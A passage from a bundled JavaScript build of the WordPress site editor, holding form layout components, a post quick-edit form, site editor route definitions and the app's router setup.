48080 icon: isOpen ? chevron_up_default : chevron_down_default,
48081 "aria-expanded": isOpen,
48082 "aria-label": isOpen ? "Collapse" : "Expand"
48083 }
48084 )
48085 ]
48086 }
48087 ),
48088 [toggle, isOpen]
48089 );
48090 return { isOpen, CollapsibleCardHeader };
48091}
48092function isSummaryFieldVisible(summaryField, summaryConfig, isOpen) {
48093 if (!summaryConfig || Array.isArray(summaryConfig) && summaryConfig.length === 0) {
48094 return false;
48095 }
48096 const summaryConfigArray = Array.isArray(summaryConfig) ? summaryConfig : [summaryConfig];
48097 const fieldConfig = summaryConfigArray.find((config) => {
48098 if (typeof config === "string") {
48099 return config === summaryField.id;
48100 }
48101 if (typeof config === "object" && "id" in config) {
48102 return config.id === summaryField.id;
48103 }
48104 return false;
48105 });
48106 if (!fieldConfig) {
48107 return false;
48108 }
48109 if (typeof fieldConfig === "string") {
48110 return true;
48111 }
48112 if (typeof fieldConfig === "object" && "visibility" in fieldConfig) {
48113 return fieldConfig.visibility === "always" || fieldConfig.visibility === "when-collapsed" && !isOpen;
48114 }
48115 return true;
48116}
48117function FormCardField({
48118 data,
48119 field,
48120 onChange,
48121 hideLabelFromVision,
48122 validity
48123}) {
48124 const { fields } = (0,external_wp_element_.useContext)(dataform_context_default);
48125 const layout = normalizeLayout({
48126 ...field.layout,
48127 type: "card"
48128 });
48129 const form = (0,external_wp_element_.useMemo)(
48130 () => ({
48131 layout: DEFAULT_LAYOUT,
48132 fields: isCombinedField(field) ? field.children : []
48133 }),
48134 [field]
48135 );
48136 const { isOpen, CollapsibleCardHeader } = useCollapsibleCard(
48137 layout.isOpened
48138 );
48139 const summaryFields = getSummaryFields(layout.summary, fields);
48140 const visibleSummaryFields = summaryFields.filter(
48141 (summaryField) => isSummaryFieldVisible(summaryField, layout.summary, isOpen)
48142 );
48143 if (isCombinedField(field)) {
48144 const withHeader2 = !!field.label && layout.withHeader;
48145 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Card, { className: "dataforms-layouts-card__field", children: [
48146 withHeader2 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(CollapsibleCardHeader, { className: "dataforms-layouts-card__field-header", children: [
48147 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataforms-layouts-card__field-header-label", children: field.label }),
48148 visibleSummaryFields.length > 0 && layout.withHeader && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-card__field-summary", children: visibleSummaryFields.map(
48149 (summaryField) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48150 summaryField.render,
48151 {
48152 item: data,
48153 field: summaryField
48154 },
48155 summaryField.id
48156 )
48157 ) })
48158 ] }),
48159 (isOpen || !withHeader2) && // If it doesn't have a header, keep it open.
48160 // Otherwise, the card will not be visible.
48161 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, { className: "dataforms-layouts-card__field-control", children: [
48162 field.description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-card__field-description", children: field.description }),
48163 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48164 DataFormLayout,
48165 {
48166 data,
48167 form,
48168 onChange,
48169 validity: validity?.children
48170 }
48171 )
48172 ] })
48173 ] });
48174 }
48175 const fieldDefinition = fields.find(
48176 (fieldDef) => fieldDef.id === field.id
48177 );
48178 if (!fieldDefinition || !fieldDefinition.Edit) {
48179 return null;
48180 }
48181 const RegularLayout = getFormFieldLayout("regular")?.component;
48182 if (!RegularLayout) {
48183 return null;
48184 }
48185 const withHeader = !!fieldDefinition.label && layout.withHeader;
48186 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Card, { className: "dataforms-layouts-card__field", children: [
48187 withHeader && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(CollapsibleCardHeader, { className: "dataforms-layouts-card__field-header", children: [
48188 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataforms-layouts-card__field-header-label", children: fieldDefinition.label }),
48189 visibleSummaryFields.length > 0 && layout.withHeader && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-card__field-summary", children: visibleSummaryFields.map((summaryField) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48190 summaryField.render,
48191 {
48192 item: data,
48193 field: summaryField
48194 },
48195 summaryField.id
48196 )) })
48197 ] }),
48198 (isOpen || !withHeader) && // If it doesn't have a header, keep it open.
48199 // Otherwise, the card will not be visible.
48200 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardBody, { className: "dataforms-layouts-card__field-control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48201 RegularLayout,
48202 {
48203 data,
48204 field,
48205 onChange,
48206 hideLabelFromVision: hideLabelFromVision || withHeader,
48207 validity
48208 }
48209 ) })
48210 ] });
48211}
48212
48213
48214;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/row/index.js
48215
48216
48217
48218
48219
48220
48221
48222
48223function row_Header({ title }) {
48224 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataforms-layouts-row__header", spacing: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "center", children: [
48225 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, { level: 2, size: 13, children: title }),
48226 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {})
48227 ] }) });
48228}
48229const EMPTY_WRAPPER = ({ children }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children });
48230function FormRowField({
48231 data,
48232 field,
48233 onChange,
48234 hideLabelFromVision,
48235 validity
48236}) {
48237 const { fields } = (0,external_wp_element_.useContext)(dataform_context_default);
48238 const layout = normalizeLayout({
48239 ...field.layout,
48240 type: "row"
48241 });
48242 if (isCombinedField(field)) {
48243 const form = {
48244 fields: field.children.map((child) => {
48245 if (typeof child === "string") {
48246 return { id: child };
48247 }
48248 return child;
48249 })
48250 };
48251 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "dataforms-layouts-row__field", children: [
48252 !hideLabelFromVision && field.label && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(row_Header, { title: field.label }),
48253 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: layout.alignment, spacing: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48254 DataFormLayout,
48255 {
48256 data,
48257 form,
48258 onChange,
48259 validity: validity?.children,
48260 as: EMPTY_WRAPPER,
48261 children: (FieldLayout, childField, childFieldValidity) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48262 "div",
48263 {
48264 className: "dataforms-layouts-row__field-control",
48265 style: layout.styles[childField.id],
48266 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48267 FieldLayout,
48268 {
48269 data,
48270 field: childField,
48271 onChange,
48272 hideLabelFromVision,
48273 validity: childFieldValidity
48274 }
48275 )
48276 },
48277 childField.id
48278 )
48279 }
48280 ) })
48281 ] });
48282 }
48283 const fieldDefinition = fields.find((f) => f.id === field.id);
48284 if (!fieldDefinition || !fieldDefinition.Edit) {
48285 return null;
48286 }
48287 const RegularLayout = getFormFieldLayout("regular")?.component;
48288 if (!RegularLayout) {
48289 return null;
48290 }
48291 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-row__field-control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48292 RegularLayout,
48293 {
48294 data,
48295 field: fieldDefinition,
48296 onChange,
48297 validity
48298 }
48299 ) }) });
48300}
48301
48302
48303;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/index.js
48304
48305
48306
48307
48308
48309
48310const FORM_FIELD_LAYOUTS = [
48311 {
48312 type: "regular",
48313 component: FormRegularField,
48314 wrapper: ({ children }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataforms-layouts__wrapper", spacing: 4, children })
48315 },
48316 {
48317 type: "panel",
48318 component: FormPanelField,
48319 wrapper: ({ children }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataforms-layouts__wrapper", spacing: 2, children })
48320 },
48321 {
48322 type: "card",
48323 component: FormCardField,
48324 wrapper: ({ children }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataforms-layouts__wrapper", spacing: 6, children })
48325 },
48326 {
48327 type: "row",
48328 component: FormRowField,
48329 wrapper: ({
48330 children,
48331 layout
48332 }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataforms-layouts__wrapper", spacing: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataforms-layouts-row__field", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48333 external_wp_components_namespaceObject.__experimentalHStack,
48334 {
48335 spacing: 4,
48336 alignment: layout.alignment,
48337 children
48338 }
48339 ) }) })
48340 }
48341];
48342function getFormFieldLayout(type) {
48343 return FORM_FIELD_LAYOUTS.find((layout) => layout.type === type);
48344}
48345
48346
48347;// ./node_modules/@wordpress/dataviews/build-module/dataform-layouts/data-form-layout.js
48348
48349
48350
48351
48352
48353
48354
48355const DEFAULT_WRAPPER = ({ children }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { className: "dataforms-layouts__wrapper", spacing: 4, children });
48356function DataFormLayout({
48357 data,
48358 form,
48359 onChange,
48360 validity,
48361 children,
48362 as
48363}) {
48364 const { fields: fieldDefinitions } = (0,external_wp_element_.useContext)(dataform_context_default);
48365 function getFieldDefinition(field) {
48366 const fieldId = typeof field === "string" ? field : field.id;
48367 return fieldDefinitions.find(
48368 (fieldDefinition) => fieldDefinition.id === fieldId
48369 );
48370 }
48371 const normalizedFormFields = (0,external_wp_element_.useMemo)(
48372 () => normalizeFormFields(form),
48373 [form]
48374 );
48375 const normalizedFormLayout = normalizeLayout(form.layout);
48376 const Wrapper = as ?? getFormFieldLayout(normalizedFormLayout.type)?.wrapper ?? DEFAULT_WRAPPER;
48377 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Wrapper, { layout: normalizedFormLayout, children: normalizedFormFields.map((formField) => {
48378 const FieldLayout = getFormFieldLayout(formField.layout.type)?.component;
48379 if (!FieldLayout) {
48380 return null;
48381 }
48382 const fieldDefinition = !isCombinedField(formField) ? getFieldDefinition(formField) : void 0;
48383 if (fieldDefinition && fieldDefinition.isVisible && !fieldDefinition.isVisible(data)) {
48384 return null;
48385 }
48386 if (children) {
48387 return children(
48388 FieldLayout,
48389 formField,
48390 validity?.[formField.id]
48391 );
48392 }
48393 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48394 FieldLayout,
48395 {
48396 data,
48397 field: formField,
48398 onChange,
48399 validity: validity?.[formField.id]
48400 },
48401 formField.id
48402 );
48403 }) });
48404}
48405
48406
48407;// ./node_modules/@wordpress/dataviews/build-module/components/dataform/index.js
48408
48409
48410
48411
48412
48413function DataForm({
48414 data,
48415 form,
48416 fields,
48417 onChange,
48418 validity
48419}) {
48420 const normalizedFields = (0,external_wp_element_.useMemo)(
48421 () => normalizeFields(fields),
48422 [fields]
48423 );
48424 if (!form.fields) {
48425 return null;
48426 }
48427 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormProvider, { fields: normalizedFields, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48428 DataFormLayout,
48429 {
48430 data,
48431 form,
48432 onChange,
48433 validity
48434 }
48435 ) });
48436}
48437
48438
48439;// ./node_modules/@wordpress/edit-site/build-module/components/post-edit/index.js
48440
48441
48442
48443
48444
48445
48446
48447
48448
48449
48450
48451
48452
48453const { usePostFields: post_edit_usePostFields, PostCardPanel } = unlock(external_wp_editor_namespaceObject.privateApis);
48454const fieldsWithBulkEditSupport = [
48455 "title",
48456 "status",
48457 "date",
48458 "author",
48459 "discussion"
48460];
48461function PostEditForm({ postType, postId }) {
48462 const ids = (0,external_wp_element_.useMemo)(() => postId.split(","), [postId]);
48463 const { record, hasFinishedResolution } = (0,external_wp_data_.useSelect)(
48464 (select) => {
48465 const args = ["postType", postType, ids[0]];
48466 const {
48467 getEditedEntityRecord,
48468 hasFinishedResolution: hasFinished
48469 } = select(external_wp_coreData_namespaceObject.store);
48470 return {
48471 record: ids.length === 1 ? getEditedEntityRecord(...args) : null,
48472 hasFinishedResolution: hasFinished(
48473 "getEditedEntityRecord",
48474 args
48475 )
48476 };
48477 },
48478 [postType, ids]
48479 );
48480 const [multiEdits, setMultiEdits] = (0,external_wp_element_.useState)({});
48481 const { editEntityRecord } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
48482 const _fields = post_edit_usePostFields({ postType });
48483 const fields = (0,external_wp_element_.useMemo)(
48484 () => _fields?.map((field) => {
48485 if (field.id === "status") {
48486 return {
48487 ...field,
48488 elements: field.elements.filter(
48489 (element) => element.value !== "trash"
48490 )
48491 };
48492 }
48493 return field;
48494 }),
48495 [_fields]
48496 );
48497 const form = (0,external_wp_element_.useMemo)(
48498 () => ({
48499 layout: {
48500 type: "panel"
48501 },
48502 fields: [
48503 {
48504 id: "featured_media",
48505 layout: {
48506 type: "regular"
48507 }
48508 },
48509 {
48510 id: "status",
48511 label: (0,external_wp_i18n_namespaceObject.__)("Status & Visibility"),
48512 children: ["status", "password"]
48513 },
48514 "author",
48515 "date",
48516 "slug",
48517 "parent",
48518 {
48519 id: "discussion",
48520 label: (0,external_wp_i18n_namespaceObject.__)("Discussion"),
48521 children: ["comment_status", "ping_status"]
48522 },
48523 {
48524 label: (0,external_wp_i18n_namespaceObject.__)("Template"),
48525 id: "template",
48526 layout: {
48527 type: "regular",
48528 labelPosition: "side"
48529 }
48530 }
48531 ].filter(
48532 (field) => ids.length === 1 || fieldsWithBulkEditSupport.includes(
48533 typeof field === "string" ? field : field.id
48534 )
48535 )
48536 }),
48537 [ids]
48538 );
48539 const onChange = (edits) => {
48540 for (const id of ids) {
48541 if (edits.status && edits.status !== "future" && record?.status === "future" && new Date(record.date) > /* @__PURE__ */ new Date()) {
48542 edits.date = null;
48543 }
48544 if (edits.status && edits.status === "private" && record.password) {
48545 edits.password = "";
48546 }
48547 editEntityRecord("postType", postType, id, edits);
48548 if (ids.length > 1) {
48549 setMultiEdits((prev) => ({
48550 ...prev,
48551 ...edits
48552 }));
48553 }
48554 }
48555 };
48556 (0,external_wp_element_.useEffect)(() => {
48557 setMultiEdits({});
48558 }, [ids]);
48559 const { ExperimentalBlockEditorProvider } = unlock(
48560 external_wp_blockEditor_namespaceObject.privateApis
48561 );
48562 const settings = usePatternSettings();
48563 const fieldsWithDependency = (0,external_wp_element_.useMemo)(() => {
48564 return fields.map((field) => {
48565 if (field.id === "template") {
48566 return {
48567 ...field,
48568 Edit: (data) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ExperimentalBlockEditorProvider, { settings, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(field.Edit, { ...data }) })
48569 };
48570 }
48571 return field;
48572 });
48573 }, [fields, settings]);
48574 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
48575 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostCardPanel, { postType, postId: ids }),
48576 hasFinishedResolution && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48577 DataForm,
48578 {
48579 data: ids.length === 1 ? record : multiEdits,
48580 fields: fieldsWithDependency,
48581 form,
48582 onChange
48583 }
48584 )
48585 ] });
48586}
48587function PostEdit({ postType, postId }) {
48588 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
48589 page_page_default,
48590 {
48591 className: dist_clsx("edit-site-post-edit", {
48592 "is-empty": !postId
48593 }),
48594 label: (0,external_wp_i18n_namespaceObject.__)("Post Edit"),
48595 children: [
48596 postId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEditForm, { postType, postId }),
48597 !postId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("Select a page to edit") })
48598 ]
48599 }
48600 );
48601}
48602
48603
48604;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/pages.js
48605
48606
48607
48608
48609
48610
48611
48612
48613
48614
48615
48616
48617
48618
48619const { useLocation: pages_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
48620async function isListView(query) {
48621 const { activeView = "all" } = query;
48622 const postTypeObject = await (0,external_wp_data_.resolveSelect)(external_wp_coreData_namespaceObject.store).getPostType("page");
48623 const view = await (0,build_module.loadView)({
48624 kind: "postType",
48625 name: "page",
48626 slug: activeView,
48627 defaultView: view_utils_getDefaultView(postTypeObject, activeView)
48628 });
48629 return view.type === "list";
48630}
48631function MobilePagesView() {
48632 const { query = {} } = pages_useLocation();
48633 const { canvas = "view" } = query;
48634 return canvas === "edit" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, { postType: "page" });
48635}
48636const pagesRoute = {
48637 name: "pages",
48638 path: "/page",
48639 areas: {
48640 sidebar({ siteData }) {
48641 const isBlockTheme = siteData.currentTheme?.is_block_theme;
48642 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48643 SidebarNavigationScreen,
48644 {
48645 title: (0,external_wp_i18n_namespaceObject.__)("Pages"),
48646 backPath: "/",
48647 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, { postType: "page" })
48648 }
48649 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
48650 },
48651 content({ siteData }) {
48652 const isBlockTheme = siteData.currentTheme?.is_block_theme;
48653 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, { postType: "page" }) : void 0;
48654 },
48655 async preview({ query, siteData }) {
48656 const isBlockTheme = siteData.currentTheme?.is_block_theme;
48657 if (!isBlockTheme) {
48658 return void 0;
48659 }
48660 const isList = await isListView(query);
48661 return isList ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : void 0;
48662 },
48663 mobile({ siteData }) {
48664 const isBlockTheme = siteData.currentTheme?.is_block_theme;
48665 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MobilePagesView, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
48666 },
48667 async edit({ query }) {
48668 const isList = await isListView(query);
48669 const hasQuickEdit = !isList && !!query.quickEdit;
48670 return hasQuickEdit ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostEdit, { postType: "page", postId: query.postId }) : void 0;
48671 }
48672 },
48673 widths: {
48674 async content({ query }) {
48675 const isList = await isListView(query);
48676 return isList ? 380 : void 0;
48677 },
48678 async edit({ query }) {
48679 const isList = await isListView(query);
48680 const hasQuickEdit = !isList && !!query.quickEdit;
48681 return hasQuickEdit ? 380 : void 0;
48682 }
48683 }
48684};
48685
48686
48687;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/page-item.js
48688
48689
48690
48691
48692
48693
48694const pageItemRoute = {
48695 name: "page-item",
48696 path: "/page/:postId",
48697 areas: {
48698 sidebar({ siteData }) {
48699 const isBlockTheme = siteData.currentTheme?.is_block_theme;
48700 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48701 SidebarNavigationScreen,
48702 {
48703 title: (0,external_wp_i18n_namespaceObject.__)("Pages"),
48704 backPath: "/",
48705 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewsSidebarContent, { postType: "page" })
48706 }
48707 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
48708 },
48709 mobile({ siteData }) {
48710 const isBlockTheme = siteData.currentTheme?.is_block_theme;
48711 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
48712 },
48713 preview({ siteData }) {
48714 const isBlockTheme = siteData.currentTheme?.is_block_theme;
48715 return isBlockTheme ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
48716 }
48717 }
48718};
48719
48720
48721;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/stylebook.js
48722
48723
48724
48725
48726
48727
48728const stylebookRoute = {
48729 name: "stylebook",
48730 path: "/stylebook",
48731 areas: {
48732 sidebar({ siteData }) {
48733 return isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48734 SidebarNavigationScreen,
48735 {
48736 title: (0,external_wp_i18n_namespaceObject.__)("Styles"),
48737 backPath: "/",
48738 description: (0,external_wp_i18n_namespaceObject.__)(
48739 `Preview your website's visual identity: colors, typography, and blocks.`
48740 )
48741 }
48742 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
48743 },
48744 preview({ siteData }) {
48745 return isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, { isStatic: true }) : void 0;
48746 },
48747 mobile({ siteData }) {
48748 return isClassicThemeWithStyleBookSupport(siteData) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, { isStatic: true }) : void 0;
48749 }
48750 }
48751};
48752
48753
48754;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/notfound.js
48755
48756
48757
48758
48759function NotFoundError() {
48760 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "error", isDismissible: false, children: (0,external_wp_i18n_namespaceObject.__)(
48761 "The requested page could not be found. Please check the URL."
48762 ) });
48763}
48764const notFoundRoute = {
48765 name: "notfound",
48766 path: "*",
48767 areas: {
48768 sidebar: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}),
48769 mobile: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48770 SidebarNavigationScreenMain,
48771 {
48772 customDescription: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NotFoundError, {})
48773 }
48774 ),
48775 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { padding: 2, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NotFoundError, {}) })
48776 }
48777};
48778
48779
48780;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/index.js
48781
48782
48783
48784
48785
48786
48787
48788
48789
48790
48791
48792
48793
48794
48795
48796
48797
48798const site_editor_routes_routes = [
48799 pageItemRoute,
48800 pagesRoute,
48801 templateItemRoute,
48802 templatesRoute,
48803 templatePartItemRoute,
48804 patternItemRoute,
48805 patternsRoute,
48806 navigationItemRoute,
48807 navigationRoute,
48808 stylesRoute,
48809 homeRoute,
48810 stylebookRoute,
48811 notFoundRoute
48812];
48813function useRegisterSiteEditorRoutes() {
48814 const registry = (0,external_wp_data_.useRegistry)();
48815 const { registerRoute } = unlock((0,external_wp_data_.useDispatch)(store));
48816 (0,external_wp_element_.useEffect)(() => {
48817 registry.batch(() => {
48818 site_editor_routes_routes.forEach(registerRoute);
48819 });
48820 }, [registry, registerRoute]);
48821}
48822
48823
48824;// ./node_modules/@wordpress/edit-site/build-module/components/app/index.js
48825
48826
48827
48828
48829
48830
48831
48832
48833
48834
48835
48836
48837const { RouterProvider } = unlock(external_wp_router_namespaceObject.privateApis);
48838function AppLayout() {
48839 useCommonCommands();
48840 useSetCommandContext();
48841 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutWithGlobalStylesProvider, {});
48842}
48843function App() {
48844 useRegisterSiteEditorRoutes();
48845 const { routes, currentTheme, editorSettings } = (0,external_wp_data_.useSelect)((select) => {
48846 return {
48847 routes: unlock(select(store)).getRoutes(),
48848 currentTheme: select(external_wp_coreData_namespaceObject.store).getCurrentTheme(),
48849 // This is a temp solution until the has_theme_json value is available for the current theme.
48850 editorSettings: select(store).getSettings()
48851 };
48852 }, []);
48853 const beforeNavigate = (0,external_wp_element_.useCallback)(({ path, query }) => {
48854 if (!isPreviewingTheme()) {
48855 return { path, query };
48856 }
48857 return {
48858 path,
48859 query: {
48860 ...query,
48861 wp_theme_preview: "wp_theme_preview" in query ? query.wp_theme_preview : currentlyPreviewingTheme()
48862 }
48863 };
48864 }, []);
48865 const matchResolverArgsValue = (0,external_wp_element_.useMemo)(
48866 () => ({
48867 siteData: { currentTheme, editorSettings }
48868 }),
48869 [currentTheme, editorSettings]
48870 );
48871 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
48872 RouterProvider,
48873 {
48874 routes,
48875 pathArg: "p",
48876 beforeNavigate,
48877 matchResolverArgs: matchResolverArgsValue,
48878 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(AppLayout, {})
48879 }
48880 );
48881}
48882
48883
48884;// ./node_modules/@wordpress/edit-site/build-module/deprecated.js
48885
48886
48887
48888
48889const isSiteEditor = (0,external_wp_url_namespaceObject.getPath)(window.location.href)?.includes(
48890 "site-editor.php"
48891);
48892const deprecateSlot = (name) => {
48893 external_wp_deprecated_default()(`wp.editPost.${name}`, {
48894 since: "6.6",
48895 alternative: `wp.editor.${name}`
48896 });
48897};
48898function PluginMoreMenuItem(props) {
48899 if (!isSiteEditor) {
48900 return null;
48901 }
48902 deprecateSlot("PluginMoreMenuItem");
48903 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginMoreMenuItem, { ...props });
48904}
48905function PluginSidebar(props) {
48906 if (!isSiteEditor) {
48907 return null;
48908 }
48909 deprecateSlot("PluginSidebar");
48910 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebar, { ...props });
48911}
48912function PluginSidebarMoreMenuItem(props) {
48913 if (!isSiteEditor) {
48914 return null;
48915 }
48916 deprecateSlot("PluginSidebarMoreMenuItem");
48917 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.PluginSidebarMoreMenuItem, { ...props });
48918}
48919
48920
48921;// ./node_modules/@wordpress/edit-site/build-module/components/posts-app-routes/posts.js
48922
48923
48924
48925
48926
48927
48928
48929
48930
48931
48932
48933
48934
48935const { useLocation: posts_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
48936async function posts_isListView(query) {
48937 const { activeView = "all" } = query;
48938 const postTypeObject = await (0,external_wp_data_.resolveSelect)(external_wp_coreData_namespaceObject.store).getPostType("post");
48939 const view = await (0,build_module.loadView)({
48940 kind: "postType",
48941 name: "post",
48942 slug: activeView,
48943 defaultView: view_utils_getDefaultView(postTypeObject, activeView)
48944 });
48945 return view.type === "list";
48946}
48947function MobilePostsView() {
48948 const { query = {} } = posts_useLocation();
48949 const { canvas = "view" } = query;
48950 return canvas === "edit" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostList, { postType: "post" });
48951}
